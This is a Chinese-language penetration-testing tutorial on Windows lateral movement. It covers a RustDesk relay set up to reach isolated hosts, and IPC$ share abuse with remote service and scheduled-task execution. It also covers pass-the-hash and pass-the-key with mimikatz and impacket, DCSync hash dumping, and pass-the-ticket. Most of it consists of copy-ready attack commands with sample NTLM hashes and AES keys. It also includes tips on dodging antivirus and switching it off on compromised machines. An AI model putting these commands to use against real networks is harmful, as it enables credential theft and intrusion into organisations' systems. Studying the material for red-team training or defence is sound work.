内网横向手法总结
参考:内网横向手法汇总
通过远程桌面
rdp
远程桌面协议(RDP)是一个多通道(multi-channel)的协议,让使用者(所在计算机称为用户端或’本地计算机’)连上提供微软终端机服务的计算机(称为服务端或’远程计算机’)。
利用条件:
- 开启了3389端口(如果对方机器没有开启 3389, 那么可以通过注册表给对方机器打开 3389)
- 防火墙等安全设备没有禁止
- 拥有账号和密码(或者Hash)(可以是本身的账号 & 也可以是自己添加的)
gotoHTTP
直接下载GotoHTTP - 在线远程控制平台
传到目标机器就能远控了
rustDesk
【内网渗透】Rustdesk内网深度渗透,不出网利用
RustDesk原理:
公网布置RustDesk服务端,
当a客户端连接到服务端,服务端就会记录其id和密码
当b客户端连接到服务端,服务端就会记录其id和密码
当a想要连接b,因为a和b都在内网中,所以a的所有操作都是传递给服务端,由于服务端和b已经建立连接,所以服务端就可以操作b
缺点:rustdesk官方服务端部署在公网上,如果目标内网主机不出网就无法利用,解决办法:在目标边界主机自建rustdesk服务端
服务端选择 1.1.12 版本,客户端选择 1.1.9
下面引用作者的例子:
内网环境:
靶机win2008:网卡:192.168.203.128(不出网,但内网203段网卡可以访问到)
跳板机win7:
网卡1:192.168.159.144
网卡2:192.168.203.129(这个203段就是不出网的)
攻击机win10:192.168.159.162(这个网卡ip可以访问到跳板机)
环境详细说明:
win10为我们的攻击机可以理解为他是我们的本机,目前我们已经拿下了跳板机win7和靶机win2008,但是win7可以出网(假设为文件上传可以执行命令),win2008却不可以出网(是完全不出网),这里我们已经通过文件上传成功把我们的RustDesk上传上win7(这里可能传上去会报毒,旧版火绒是不报毒的,360报毒,能做免杀还是做一下,我这里演示就不做了),并关闭其杀软,横向拿下了win2008但是不出网并且杀软开到了最强,我们也不知道其账密,此时我们的目的就是进到win2008关闭其杀软进一步横向。
详细搭建流程
准备rustdesk.exe,以及hbbr.exe和hbbs.exe(这俩是自建服务器需要的Releases · rustdesk/rustdesk-server)
目前我们已经在win7跳板机里面上传了RustDesk并远控win7
接下来运行hbbr和hbbs
1
2
| hbbs.exe -r 0.0.0.0 -k _
hbbr.exe -k _
|
-k_其实就是生成秘钥,运行后在同目录下生成了俩个文件这里以.pub结尾的就是我们要的key,默认id服务器端口21116,中继服务器端口21117
拿到key值和端口号后我们就可以去配置我们的内网中继服务器了
第一步:在win7中打开rustdesk,点击ID/中继服务器
第二步:分别填入ID服务器,中继服务器,key注意这里的ip是203段网卡的ip也就是win7和win2008相通的网卡
到此我们中继服务器就配置完成了,他就成立我们的内网的rustdesk服务器
第三步:上传rustdesk到win2008
第四步:这里不要运行先,这里有个点是
rustdesk配置文件地址:C:\Users\用户名\AppData\Roaming\RustDesk\config
但是我们要是上传后直接命令运行生成的就是默认连接官方服务器,所以我们不要运行,我们要继续上传Roaming文件夹这里就按照这个路径配置即可,核心是config文件夹的三个文件,这三个文件就是我们在win7上面生成的配置文件,也就是RustDesk,RustDesk_local,RustDesk2,这仨都是toml配置文件
Rustdesk文件内容是id和密码,这是刚刚自动生成的,这里可以顺手把这个password改成自己的密码比如123456,id也可以修改
Rustdesk2的内容是中继服务器的地址端口,待会我们把这个文件丢在默认路径上,Rustdesk就会加载这个配置文件把win7作为中继服务器
第五步:打包配置文件进行上传win2008对应目录
C:\Users\用户名\AppData\Roaming\RustDesk\config
最后我们使用运行Rustdesk即可这样他就会去我们的默认路径下去找配置文件,成功连接上中继服务器
IPC$ 横向移动【Windows 默认开启】
IPC (Internet Process Connection) 共享,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 ipc$ 可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。我们可以通过 net share 查看:
1
2
3
4
5
6
7
8
9
| C:\Users\Administrator>C:\Windows\System32\net share
共享名 资源 注解
-------------------------------------------------------------------------------
C$ C:\ 默认共享(C 盘默认开启共享)
D$ D:\ 默认共享(D 盘默认开启共享)
E$ E:\ 默认共享(E 盘默认开启共享)
IPC$ 远程 IPC
ADMIN$ C:\Windows 远程管理(C:\Windows 目录默认共享)
命令成功完成。
|
文件共享是指主动地在网络上共享自己的计算机文件。默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c、d、e、admin)可以实现对这些默认共享目录的访问(如果当前主机(A)用户的账号是administrator,目标机器(B)的账户administrator和A的administrator密码相同,不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证)
举例说明:
左侧为主机 A, 右侧为主机 B, 我们访问共享很简单, 直接在目录中使用\\机器名\共享名即可:
如果当前主机(A)用户的账号是 administrator, 目标机器(B)的账户 administrator 和 A 的 administrator 密码相同, 不需要输入密码就可以访问,默认会用本地相同的账号密码进行认证。
注意: 必须使用 administrator(本地最高管理员)账号, 否则会提示“拒绝访问”. 对应参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon
背后原理:SMB 认证时客户端把当前登录用户的 NTLM Hash 发过去,目标机器本地比对 SAM 库,Hash 一致就通过。
主动建立IPC$ 认证
一旦双方主机建立了 IPC$ 链接, 再去访问共享文件夹等操作则不再需要输入账户密码
1
2
3
4
5
6
7
| ========== IPC$ 连接命令 ==========
1. 工作组环境
net use \\IP\ipc$ "password" /user:"username"
2. 域环境
net use \\域名\ipc$ "域成员密码" /user:域名\域成员账号
3. 删除连接
net use \\IP\ipc$ /del
|
IPC利用条件&前提
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 1. 目标开放 139、445 端口
→ 因为 IPC$ 底层走 SMB 协议,SMB over TCP 绑定 445 端口,老系统 SMB over NetBIOS 绑定 139 端口,端口不开协议不可达
2. 目标开启了默认共享
包括 IPC$ 和所有逻辑盘(C$、D$、E$……ADMIN$)
→ 因为 net use \\IP\ipc$ 建立的是连接到 IPC$ 共享,共享不存在则连接失败;C$ 等管理共享用于传文件
→ 可用 net share 查看
3. 持有目标机器的有效凭据(用户名 + 密码,或 NTLM Hash)
→ 因为 IPC$ 连接首先触发 SMB 层的 NTLM Challenge/Response 认证,没有凭据无法通过
→ 空密码被 LimitBlankPasswordUse 策略拦截,默认禁止网络登录
4. 非 RID 500 的管理员用户远程登录会被 UAC 令牌过滤
→ LocalAccountTokenFilterPolicy 默认 = 0,网络登录时 Administrators 组 SID 被移除。(参考: https://learn.microsoft.com/en-us/archive/blogs/vistacompatteam/uac-and-remote-logon)
拿到的是过滤后的低权限令牌,无法创建计划任务、写服务等操作
→ 要么用 RID 500 的 Administrator,要么改注册表或建域
|
在内网中,很多电脑的 administrator 的账号密码都是一样的,可以通过抓取本地的账号密码,然后和对方的电脑建立IP连接。
有一些电脑会关闭 IPC$, 关闭以及恢复等操作如:
1
2
3
4
5
6
| net share # 查看本机所有共享(包括 IPC$、C$、ADMIN$)
net share c$ /del # 删除 C 盘默认管理共享,关闭后可防止远程访问 C 盘
net share xxx=C:\ # 自定义共享,将 C 盘根目录共享出去,共享名 xxx
net share xxx /del # 删除自定义共享 xxx
net share ipc$ # 恢复 IPC$ 共享(被删后重建)
net share admin$ # 恢复 ADMIN$ 共享(指向 Windows 目录)
|
连上IPC$可以进行的操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
| ========== 文件操作 ==========
dir \\192.168.1.100\c$ # 列出目标 C 盘根目录
dir \\192.168.1.100\c$\Windows\Temp # 列出指定目录
type \\192.168.1.100\c$\Windows\Temp\1.txt # 直接读取目标上的文本文件
copy 本地文件 \\192.168.1.100\c$\Windows\Temp\ # 上传文件到目标
copy \\192.168.1.100\c$\文件 . # 从目标下载文件到本地
========== 进程与服务 ==========
tasklist /s 192.168.1.100 # 查看目标进程列表(需要管理员权限)
tasklist /s 192.168.1.100 /u Administrator # 指定用户查看
sc \\192.168.1.100 query # 查询目标所有服务
sc \\192.168.1.100 create 服务名 binPath= "路径" # 远程创建服务(横向的关键一步)
sc \\192.168.1.100 start 服务名 # 远程启动服务 → 执行 payload
sc \\192.168.174.30 create test binpath= "cmd.exe /c 执行的命令" # 能感受到 IPC$ 认证的案例
sc \\192.168.174.30 delete test # 删除创建的服务
sc \\192.168.174.30 start test # 启动创建的服务
========== 时间与计划任务 ==========
net time \\192.168.1.100 # 查看目标系统时间
at \\192.168.1.100 14:30 cmd /c "命令" # AT 计划任务(老系统)
schtasks /create /s 192.168.174.30 /tn 任务名 /tr "cmd /c whoami > C:\\Windows\\Temp\\whoami.txt" /sc once /sd 2026/06/14 /st 14:30 /ru SYSTEM /rp "" # schtasks 创建计划任务(通用)
schtasks /run /s 192.168.1.100 /tn 任务名 # 立即触发执行
========== 信息收集 ==========
net view \\192.168.1.100 # 查看目标共享资源
net view \\目标IP # 查看目标上的共享列表
nltest /dclist:域名 # 查看域控列表(域环境)
netstat -an | find "445" # 本机到目标的 445 连接状态
========== 连接管理 ==========
net use # 查看当前所有已建立的连接
net use \\192.168.1.100\ipc$ /del # 删除单条连接
net use * /del /y # 断开所有连接
========== 盘符映射 ==========
利用 net use 进行盘符映射:
net use k: \\192.168.41.140\c$ # 会在本地创建 k 盘, 操作本地电脑 k 盘等于操作远程电脑 c 盘
优点就是后续可以进行本地复制之类的操作
|
PTH传递攻击
攻击原理和利用条件
PTH(Pass The Hash),中文叫哈希传递攻击,在NTLM和Kerberos认证中,都需要用到用户的NTLM-Hash值进行加密认证,所以我们知道了对方用户的NTLN-Hash值之后就可以使用PTH进行认证。
在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码(例如 administrator 账号, 如果是明文的可以使用 IPC$ 进行攻击, 如果是 NTLM 密文则可以使用 PTH), 因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。
NTLM HASH 远程登录的原理:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
| 客户端 服务器
│ │
│── ① NEGOTIATE ────────────────────> │ "我想认证,这是我的能力"
│ │
│<──── ② CHALLENGE ─────────────────── │ "那你证明一下,用这个随机数"
│ (8字节随机Challenge) │
│ │
│ [本地计算] │
│ Hash("P@ss1234") │
│ 加密(Challenge, Hash) │
│ │
│── ③ AUTHENTICATE ──────────────────> │ "这是我算出来的结果"
│ (用户名 + Response) │
│ │
│ [本地验证]│
│ 同样方式 │
│ 再算一遍 │
│ │
│<─────── ④ 结果 ────────────────────── │ 通过 或 拒绝
|
由于 Challenge 值是服务器返回给我们客户端的, 因此这部分并不是我们要考虑的地方, 我们只需要考虑 NTLM Hash 值的部分即可. 只要我们知道对方电脑上一台用户对应密码的 Hash 值, 我们即可进行通过本地够构造流量进行认证.
而在 Kerberos 协议(域环境)中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| AS-REQ 阶段:
你现在的电脑 域控 KDC
登录账号: xxx
│
│ 你输入密码 "P@ss1234"
│ 本地算出 MD4("P@ss1234") = 31d6cfe0...
│ 这就是 xxx 这个"域账号"的 Hash
│
├──→ AS-REQ 发过去:
│ 用户名: xxx
│ 预认证: E{Hash_xxx}(Timestamp) ← 用你自己的 Hash 加密
│
│ AS 从 AD 数据库查出 xxx 的 Hash
│ 解密 → 验证时间戳 → 确认你就是 xxx
│
│ ←── AS-REP 返回 TGT
|
我们同样只需要 HASH 值, 即可参与协议运算, 因此 PTH 在工作组环境和域环境中同样适用.
下面举例演示一下:
先创建用户和用户组
1
2
3
4
5
| net user administrator /active:yes
net user administrator Qazwsxedc123!
net user oneuser Ewqdsacxz123! /add
net localgroup administrators oneuser /add
net user test 1qaz@WSX3edc /add
|
这样我们就有了本地超级管理员, 本地普通管理员, 本地普通用户
使用 mimikatz 进行抓取 SAM 文件中的密码信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| RID : 000001f4 (500)
User : Administrator
Hash NTLM: d442a45ad0f94d5ab5101de9a010538b
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : xxx
Hash NTLM: d442a45ad0f94d5ab5101de9a010538b
RID : 000003e9 (1001)
User : oneuser
Hash NTLM: 89918a25916d0e9acde6a6642df47e2c
RID : 000003ea (1002)
User : test
Hash NTLM: 7ecffff0c3548187607a14bad0f88bb1
|
随后我们可以在攻击机(与受害机处于同一局域网)中使用 mimikatz 进行 HASH 传递攻击:
1
2
| privilege::debug
sekurlsa::pth /user:administrator /domain:域名或者IP /ntlm:ntlm-hash
|
普通用户无法用pth攻击
然后域内攻击:
使用 mimikatz 读取 ntds.dit 中的 hash, 随后进行传递实验:
1
2
3
4
| mimikatz # lsadump::dcsync /domain:heihu577.com /all /csv
500 Administrator d442a45ad0f94d5ab5101de9a010538b 512
1113 heihu577_test 83a3b1af4f0c1ee9a2df504eac08aec3 512
1105 zs cd8395f40ea0573474653cc96b40195f 66048
|
这里使用 psexec 做演示, psexec 在 impacket 包中有提供. psexec 进行横向格式:
1
| psexec.exe 域名/用户名@需要横向的主机IP或全体域名 -hashes LMHASH(可留空):NTLMHASH
|
impacket系列工具也是可以让我们实现PTH | 明文密码 | PTK 攻击
1
2
3
4
5
6
7
8
| # 成功执行 - 获得半交互式shell
python wmiexec.py administrator@192.168.174.30 -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 单条命令
python wmiexec.py administrator@192.168.174.30 "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得system权限shell
python psexec.py administrator@192.168.174.30 "whoami" -hashes :d442a45ad0f94d5ab5101de9a010538b
# 成功执行 - 获得半交互式shell (system权限)
python smbexec.py administrator@192.168.174.30 -hashes :d442a45ad0f94d5ab5101de9a010538b
|
PTK 密钥传递攻击
PTK(Pass The key),中文叫秘钥传递攻击,PTH传递中,使用的是NTLM-HASH值,PTK使用AES256或者AES128的方式进行传递,PTK攻击只能用于kerberos认证中,NTLM认证中没有。
在 Kerberos 认证中, 针对于 AS-REQ 实际上是 HASH 或者 AES KEY. 因此在 kerberos 认证中我们可以使用 PTK 进行攻击.
AES KEY 是 kerberos 协议中使用的,所以一般域用户才有 AES KEY,AES 分为两种 aes256 和 aes128,本地用户没有 aes key。
为什么要用PTK
很多安全加固过的环境里,域控策略把 NTLM 认证彻底关了(“Network security: Restrict NTLM”),或者只允许 Kerberos。这时候你拿着 hash 也没用,PTH 直接报 STATUS_NTLM_BLOCKED,只能用 PTK 走 Kerberos。
AES 是 Kerberos 的推荐加密类型,很多环境禁了 RC4-HMAC。PTH 底层用的就是 RC4,RC4 一关 PTH 废了,必须用 AES key 做 PTK 去申请 TGT。
看数据时发现只拿到 AES256 key(比如 DCSync 或者某些票据里),没有 NTLM hash 或者 hash 对不上,PTK 是你唯一的路。
测试命令:
1
| mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::ekeys"
|
利用条件
1、必须是域环境,使用域账号才可以进行PTK
2、支持aes进行认证(域控必须支持)
wmiexec PTK 攻击
1
| python wmiexec.py 域名/administrator@要连接的目标主机 -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10
|
但在执行之前需要在攻击机中配置 /etc/hosts,而且需要注意的是, PTK 攻击实际上是 kerberos 认证, 对于 kerberos 认证必须使用域名的形式进行认证,所以目标主机也得填域名
利用PTK进行上线
PTK本质上也是一种认证,本身不具有攻击性,如果是一些特殊账号的KEY被我们知道利用PTK传递攻击,我们可以生成对应账号的TGT票据,原因是 AS-REP 的过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| AS-RESP:
你 (test) 域控 KDC (AS)
│ │
│ ←──────── KRB_AS_REP ───────── │
│ │
│ 块① TGT = E{Hash_krbtgt}( │ ← 用 krbtgt Hash 加密
│ test + │
│ Session_Key_TGT + │
│ PAC + │
│ 有效期) │
│ │
│ 块② CT_SK = E{Hash_test}( │ ← 用你自己的 Hash 加密
│ Session_Key_TGT) │ ✅ 你能解开
│ │
│ │
│ [你本地] │
│ 用自己的 Hash 解密第②块 │
│ → 拿到 Session_Key_TGT 明文 │
│ → 第①块 TGT 不解,直接存着 │
PAC = Privilege Attribute Certificate(特权属性证书),装的是:
- SID → S-1-5-21-xxx-xxx-xxx-1104 (就是 test)
- 所在的组的 SID → Domain Users (S-1-5-21-xxx-513) 以及 Domain Admins (S-1-5-21-xxx-512)
- 签名 → 用 krbtgt Hash 签的,防你篡改
未来拿着票据去访问`目标服务器`时, 目标服务器读取 PAC,确定来访用户的身份和权限。
|
由于 AS-REP 返回的是 TGT, 我们可以将 TGT 导入到内存中,就可以访问对方的电脑。
这里可以使用 getTGT 工具申请 TGT,然后将 TGT 导入内存中,实现对目标机器的访问,后续可以配合计划任务,或者其他的工具进行上线。
1
| python getTGT.py heihu577.com/administrator@dc.heihu577.com -aesKey 76dc43ab438a6ff369734985b7cd594b43fb6bd534fd9a1461ae247b7b602e66 -dc-ip 192.168.174.10
|
PTT票据传递攻击
介绍 & 利用条件
PTT(Pass The Ticket),中文叫票据传递攻击,PTT攻击只能用于kerberos认证中,NTLM认证中没有,PTT是通过票据进行认证的,我们回顾一下 KERBEROS 认证的流程。
在 kerberos 认证流程中, AS-REQ 会向 AS 认证服务器请求来证明自己的身份信息, 请求成功后会获得 AS-REP 所返回的 TGT 票据, 而这个 TGT 票据会向 TGS 进行发送, TGS 收到 TGT 后,会验证 TGT 的签名和有效期,确认无误后返回 ST 票据.
所以这里实际上存在两种票据, 分别为: TGT 票据 & ST 票据. 它们的作用分别如下:
1
2
3
4
5
6
7
8
9
10
11
| TGT(票据授予票据):证明你是谁
- 用来向 TGS 换 ST 的"身份证"
- 有了 TGT 不需要反复输密码,10 小时内有效
- 加密密钥是 KRBTGT Hash(只有 DC 知道)
- 拿到 TGT ≠ 访问任何服务,只是拿到了"买票资格"
ST(服务票据):证明你有权访问某个服务
- 用来向目标服务发起 AP-REQ 的"门票"
- 每访问一个服务就要申请一张,贴在请求里
- 加密密钥是目标服务账户的 Hash(只有 DC 和该服务自己知道)
- 拿到 ST = 真的能进那个服务
|
那么这几种攻击手法如下:
- PTH: 用NTLM-HASH值进行认证-支持kerberos和NTLM认证
- PTK: 用AES值进行认证-只能用于kerberos认证
- PTT: 用票据进行认证-只能用于kerberos认证
而对于 PTT 来说, 如果要进行利用, 那么需要如下条件:
- 必须是域环境, 域内才可以进行 PTT
- 必须拥有相应的票据(主要是域管的票据)
横向移动工具
1
2
3
4
5
| 1. psexec工具
2. smbexec工具
3. WMI命令
4. DCOM接口
5. WinRM服务
|
工具用法不多说了